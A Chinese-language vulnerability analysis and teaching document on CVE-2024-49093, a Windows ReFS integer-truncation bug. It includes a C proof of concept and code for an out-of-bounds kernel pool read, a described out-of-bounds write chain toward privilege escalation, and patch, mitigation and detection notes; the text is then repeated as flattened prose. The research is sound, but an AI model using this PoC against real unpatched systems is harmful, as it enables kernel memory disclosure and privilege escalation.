CVE-2024-49093(ReFS漏洞分析)
字数 3443 2025-10-13 22:56:21

CVE-2024-49093 ReFS漏洞深度分析与教学文档

文档摘要

本文档基于京东安全团队发布的漏洞分析文章,对Windows ReFS文件系统中的内核漏洞CVE-2024-49093进行全面的技术解析。漏洞根源在于数值类型转换错误,导致文件元数据处于不一致状态,进而可被利用实现内核池的越界读取与写入。本文将逐步讲解ReFS基础、漏洞成因、PoC构造及利用链细节。


第一章:背景知识

1.1 ReFS(Resilient File System)简介

  • 定位: Microsoft开发的新一代文件系统,旨在实现高数据可用性、高效处理海量数据,并通过校验和修复机制增强数据完整性。
  • 核心特性:
    • B+树结构(MinStore): 大多数内部对象(如文件数据、元数据)以键值对形式存储在B+树中。
    • 写时复制(Copy-on-Write, COW): 数据更新不就地修改,而是创建新节点并更新父节点指针,直至根节点。这增强了崩溃一致性。
    • 数据抽象: 文件的名称、数据、ACL等均被抽象为“属性”。

1.2 常驻(Resident)与非常驻(Non-Resident)属性

  • 常驻属性: 当属性数据量较小时,其内容直接内联存储在对应的B+树记录中。访问速度快。
  • 非常驻属性: 当数据量超过一定阈值(常驻阈值),属性内容将存储在磁盘的特定区域,而在B+树记录中只保存一个VCN -> LCN的映射列表(称为runlist),用于定位数据块。

1.3 漏洞相关内核函数

  • RefsAddAllocationForResidentWrite: 该函数负责处理对常驻属性的数据写入请求。其核心逻辑是判断写入后数据是否会超过常驻阈值。
    • 如果未超过:则扩展当前常驻记录的分配大小。
    • 如果超过:则调用RefsConvertToNonResident将属性从常驻转换为非常驻。

第二章:漏洞定位与成因分析

2.1 补丁比对与定位

  • 补丁版本: Windows 11 24H2 (Build 26100.2605) 的KB5048667更新。
  • 定位方法: 使用Bindiff对比补丁前后的refs.sys驱动文件,发现修复方式为新增一个特性开关函数 Feature_4213557561__private_IsEnabledDeviceUsageNoInline,用于控制是否启用修复后的代码路径。该开关保护的函数正是RefsAddAllocationForResidentWrite
  • 官方分类: CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。

2.2 漏洞根因

漏洞存在于RefsAddAllocationForResidentWrite函数中,当特性开关未开启(即存在漏洞的旧代码路径)时,发生了错误的数值转换。

  • 关键代码对比

    // 【修复后的正确路径】使用64位值
    QuadPart = ranges->end.QuadPart; // 64位写入结束位置
    // ... 使用 QuadPart 进行阈值判断和文件大小更新 ...
    v23.AllocationSize.QuadPart = QuadPart;
    
    // 【存在漏洞的旧路径】错误地使用了32位值
    LowPart = ranges->end.LowPart;  // 只取了64位结束位置的低32位!
    // ... 使用 LowPart 进行阈值判断和文件大小更新 ...
    v23.AllocationSize.QuadPart = LowPart; // 危险!将高32位截断归零
    
  • 漏洞触发条件

    1. ReFS版本 ≥ 3.11 (0x30B),此时常驻阈值为 0x800(2 KiB)。
    2. 写入操作的结束位置(offset + size)必须满足:
      • 高32位不为0:即写入范围跨越4GB边界。
      • 低32位 < 0x800:使代码误判为写入未超过阈值,仍可保持常驻。
  • 造成的后果
    文件控制块(SCB)中的AllocationSize(实际分配大小)被设置为一个被截断的、很小的值(如 0x200),而FileSize(文件逻辑大小)却被正确更新为真实的大值(如 0x100000200)。这导致了 AllocationSize << FileSize 的元数据不一致状态。


第三章:概念验证(PoC)与崩溃分析

3.1 基础PoC代码

#include <windows.h>

int main() {
    // 使用 FILE_FLAG_NO_BUFFERING 避免文件缓存管理器的干扰
    HANDLE hFile = CreateFileW(
        L"R:\\test_poc",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, // 关键标志
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("CreateFile failed: %lu\n", GetLastError());
        return 1;
    }

    DWORD written = 0;
    BYTE buffer[0x200]; // 写入512字节
    memset(buffer, 'A', sizeof(buffer));

    OVERLAPPED ov = {0};
    ov.Offset = 0;      // 偏移低32位
    ov.OffsetHigh = 1;  // 偏移高32位=1,确保写入结束于 1*4GB + 0x200 > 4GB

    BOOL success = WriteFile(hFile, buffer, sizeof(buffer), &written, &ov);
    if (success) {
        printf("WriteFile succeeded. Written: %lu bytes\n", written);
    } else {
        printf("WriteFile failed: %lu\n", GetLastError());
    }

    CloseHandle(hFile);
    return 0;
}

注意: 非缓存I/O要求写入长度和偏移必须是扇区大小(如512字节)的整数倍。

3.2 验证漏洞效果

执行PoC后,使用工具(如fsutil)查看文件属性,会发现:

  • AllocationSize(流分配大小): 0x200 字节
  • EndOfFile(文件逻辑大小): 0x100000200 字节
    这证实了元数据的不一致状态已成功创建。

第四章:漏洞利用链分析

利用上述不一致状态,可以构造两种利用原语:越界读和越界写。

4.1 越界读(OOB Read)

  • 原理

    1. 创建一个处于不一致状态的文件(AllocationSize = 0x200, FileSize = 0x100000200)。
    2. 对该文件发起一个大于AllocationSize的读取请求(如 0x1000)。
    3. 内核函数RefsNonCachedResidentRead会执行:
      • 通过MsFindRow在B+树中找到文件的常驻属性记录。
      • 调用CmsRowWithBuffer::CopyRow将该记录的值部分复制到一个内核池内存块中。此池块大小根据常驻数据长度(0x200 + 头开销)分配,约为0x250
      • 最后,该函数将从这个0x250大小的池块中,拷贝用户请求的0x1000字节到用户空间。
      • 由于源缓冲区只有0x250字节,而拷贝长度是0x1000,导致拷贝了0x1000 - 0x250 = 0xDB0字节的池内存相邻数据,实现越界读。
  • 利用代码关键步骤

    // ... 续接基础PoC的写入之后 ...
    DWORD bytesToRead = 0x1000;
    BYTE* readBuffer = (BYTE*)VirtualAlloc(NULL, bytesToRead, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memset(readBuffer, 0, bytesToRead);
    
    OVERLAPPED readOv = {0};
    readOv.Offset = 0;
    readOv.OffsetHigh = 0; // 从文件开头读
    DWORD bytesRead = 0;
    
    success = ReadFile(hFile, readBuffer, bytesToRead, &bytesRead, &readOv);
    if (success) {
        printf("ReadFile succeeded. Read: %lu bytes\n", bytesRead);
        // 打印readBuffer,0x200字节后将是内核池中的相邻数据
        // hexdump(readBuffer, bytesRead);
    }
    

4.2 越界写(OOB Write)

直接通过WriteFile进行越界写不可行,因为MsUpdateMetaRow函数会检查写入范围是否超出常驻记录的边界。但可以通过间接方式实现。

  • 原理:利用 RefsConvertToNonResident 函数。

    1. 准备数据:先向文件写入一段数据(如 0x700 字节),此时文件为常驻。
    2. 触发漏洞将AllocationSize置零:精心构造一次写入,利用漏洞将AllocationSize截断为一个极小的值,甚至0。例如,通过设置偏移使 ranges->end.LowPart = 0
    3. 触发转换:随后,再发起一次写入(或直接触发转换条件),系统会调用RefsConvertToNonResident,因为当前“常驻”状态的分配大小无法容纳新数据。
    4. 转换过程中的OOB
      • RefsConvertToNonResident会为新的非常驻数据分配存储空间。分配的大小基于卷的扇区大小对齐。如果AllocationSize被篡改为0,它可能会计算并分配一个非常小的池块(如0x20字节)。
      • 该函数随后会将旧常驻数据(我们之前写入的0x700字节)拷贝到这个新分配的、极小的池块中。
      • 由于拷贝源数据长度(0x700)远大于目标池块大小(0x20),导致数据覆盖到池块之后的内存,实现越界写。
  • 利用价值:这种可控的越界写可以用于覆盖相邻内核对象的结构,如POOL_HEADER、函数指针、权限标志等,是提权漏洞利用的关键一步。


第五章:总结与缓解

5.1 漏洞总结

  • 根源: 64位到32位的数值截断错误。
  • 直接效果: 造成文件元数据(AllocationSizeFileSize)严重不一致。
  • 利用原语: 基于不一致状态,通过ReFS固有的数据读写和转换路径,实现内核池的越界读取和写入。
  • 复杂性: 利用链涉及对ReFS内部机制(如B+树操作、常驻/非常驻转换)的深入理解。

5.2 缓解措施

  • 官方方案: 及时安装Windows安全更新(KB5048667及以上),这是最根本的解决方法。
  • 临时缓解:在受影响系统中,若无必要,可不使用ReFS文件系统。
  • 检测建议: 安全产品可监控对ReFS卷的、偏移跨越4GB边界且长度较小的写入操作,作为潜在攻击行为指标。

5.3 参考链接(源自原文)

  • MSRC公告: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093
  • Winbindex(驱动版本查询): https://winbindex.m417z.com/?file=refs.sys

免责声明:本文档仅用于安全研究与教学目的。读者应遵守《中华人民共和国网络安全法》等相关法律法规,任何利用此处所述技术从事非法攻击的行为,责任自负。

CVE-2024-49093 ReFS漏洞深度分析与教学文档 文档摘要 本文档基于京东安全团队发布的漏洞分析文章,对Windows ReFS文件系统中的内核漏洞CVE-2024-49093进行全面的技术解析。漏洞根源在于数值类型转换错误,导致文件元数据处于不一致状态,进而可被利用实现内核池的越界读取与写入。本文将逐步讲解ReFS基础、漏洞成因、PoC构造及利用链细节。 第一章:背景知识 1.1 ReFS(Resilient File System)简介 定位 : Microsoft开发的新一代文件系统,旨在实现高数据可用性、高效处理海量数据,并通过校验和修复机制增强数据完整性。 核心特性 : B+树结构(MinStore) : 大多数内部对象(如文件数据、元数据)以键值对形式存储在B+树中。 写时复制(Copy-on-Write, COW) : 数据更新不就地修改,而是创建新节点并更新父节点指针,直至根节点。这增强了崩溃一致性。 数据抽象 : 文件的名称、数据、ACL等均被抽象为“属性”。 1.2 常驻(Resident)与非常驻(Non-Resident)属性 常驻属性 : 当属性数据量较小时,其内容直接内联存储在对应的B+树记录中。访问速度快。 非常驻属性 : 当数据量超过一定阈值(常驻阈值),属性内容将存储在磁盘的特定区域,而在B+树记录中只保存一个 VCN -> LCN 的映射列表(称为runlist),用于定位数据块。 1.3 漏洞相关内核函数 RefsAddAllocationForResidentWrite : 该函数负责处理对 常驻属性 的数据写入请求。其核心逻辑是判断写入后数据是否会超过常驻阈值。 如果 未超过 :则扩展当前常驻记录的分配大小。 如果 超过 :则调用 RefsConvertToNonResident 将属性从常驻转换为非常驻。 第二章:漏洞定位与成因分析 2.1 补丁比对与定位 补丁版本 : Windows 11 24H2 (Build 26100.2605) 的KB5048667更新。 定位方法 : 使用Bindiff对比补丁前后的 refs.sys 驱动文件,发现修复方式为新增一个特性开关函数 Feature_4213557561__private_IsEnabledDeviceUsageNoInline ,用于控制是否启用修复后的代码路径。该开关保护的函数正是 RefsAddAllocationForResidentWrite 。 官方分类 : CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。 2.2 漏洞根因 漏洞存在于 RefsAddAllocationForResidentWrite 函数中,当特性开关 未开启 (即存在漏洞的旧代码路径)时,发生了错误的数值转换。 关键代码对比 : 漏洞触发条件 : ReFS版本 ≥ 3.11 (0x30B),此时常驻阈值为 0x800 (2 KiB)。 写入操作的结束位置( offset + size )必须满足: 高32位不为0 :即写入范围跨越4GB边界。 低32位 < 0x800 :使代码误判为写入未超过阈值,仍可保持常驻。 造成的后果 : 文件控制块( SCB )中的 AllocationSize (实际分配大小)被设置为一个被截断的、很小的值(如 0x200 ),而 FileSize (文件逻辑大小)却被正确更新为真实的大值(如 0x100000200 )。这导致了 AllocationSize << FileSize 的元数据不一致状态。 第三章:概念验证(PoC)与崩溃分析 3.1 基础PoC代码 注意 : 非缓存I/O要求写入长度和偏移必须是扇区大小(如512字节)的整数倍。 3.2 验证漏洞效果 执行PoC后,使用工具(如 fsutil )查看文件属性,会发现: AllocationSize (流分配大小): 0x200 字节 EndOfFile (文件逻辑大小): 0x100000200 字节 这证实了元数据的不一致状态已成功创建。 第四章:漏洞利用链分析 利用上述不一致状态,可以构造两种利用原语:越界读和越界写。 4.1 越界读(OOB Read) 原理 : 创建一个处于不一致状态的文件( AllocationSize = 0x200 , FileSize = 0x100000200 )。 对该文件发起一个大于 AllocationSize 的读取请求(如 0x1000 )。 内核函数 RefsNonCachedResidentRead 会执行: 通过 MsFindRow 在B+树中找到文件的常驻属性记录。 调用 CmsRowWithBuffer::CopyRow 将该记录的值部分复制到一个内核池内存块中。此池块大小根据常驻数据长度( 0x200 + 头开销 )分配,约为 0x250 。 最后,该函数将从这个 0x250 大小的池块中,拷贝用户请求的 0x1000 字节到用户空间。 由于源缓冲区只有 0x250 字节,而拷贝长度是 0x1000 ,导致拷贝了 0x1000 - 0x250 = 0xDB0 字节的池内存相邻数据,实现越界读。 利用代码关键步骤 : 4.2 越界写(OOB Write) 直接通过 WriteFile 进行越界写不可行,因为 MsUpdateMetaRow 函数会检查写入范围是否超出常驻记录的边界。但可以通过间接方式实现。 原理 :利用 RefsConvertToNonResident 函数。 准备数据 :先向文件写入一段数据(如 0x700 字节),此时文件为常驻。 触发漏洞将AllocationSize置零 :精心构造一次写入,利用漏洞将 AllocationSize 截断为一个极小的值,甚至0。例如,通过设置偏移使 ranges->end.LowPart = 0 。 触发转换 :随后,再发起一次写入(或直接触发转换条件),系统会调用 RefsConvertToNonResident ,因为当前“常驻”状态的分配大小无法容纳新数据。 转换过程中的OOB : RefsConvertToNonResident 会为新的非常驻数据分配存储空间。分配的大小基于卷的扇区大小对齐。如果 AllocationSize 被篡改为0,它可能会计算并分配一个非常小的池块(如 0x20 字节)。 该函数随后会将旧常驻数据(我们之前写入的 0x700 字节)拷贝到这个新分配的、极小的池块中。 由于拷贝源数据长度( 0x700 )远大于目标池块大小( 0x20 ),导致数据覆盖到池块之后的内存,实现越界写。 利用价值 :这种可控的越界写可以用于覆盖相邻内核对象的结构,如 POOL_HEADER 、函数指针、权限标志等,是提权漏洞利用的关键一步。 第五章:总结与缓解 5.1 漏洞总结 根源 : 64位到32位的数值截断错误。 直接效果 : 造成文件元数据( AllocationSize 与 FileSize )严重不一致。 利用原语 : 基于不一致状态,通过ReFS固有的数据读写和转换路径,实现内核池的越界读取和写入。 复杂性 : 利用链涉及对ReFS内部机制(如B+树操作、常驻/非常驻转换)的深入理解。 5.2 缓解措施 官方方案 : 及时安装Windows安全更新(KB5048667及以上),这是最根本的解决方法。 临时缓解 :在受影响系统中,若无必要,可不使用ReFS文件系统。 检测建议 : 安全产品可监控对ReFS卷的、偏移跨越4GB边界且长度较小的写入操作,作为潜在攻击行为指标。 5.3 参考链接(源自原文) MSRC公告: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093 Winbindex(驱动版本查询): https://winbindex.m417z.com/?file=refs.sys 免责声明 :本文档仅用于安全研究与教学目的。读者应遵守《中华人民共和国网络安全法》等相关法律法规,任何利用此处所述技术从事非法攻击的行为,责任自负。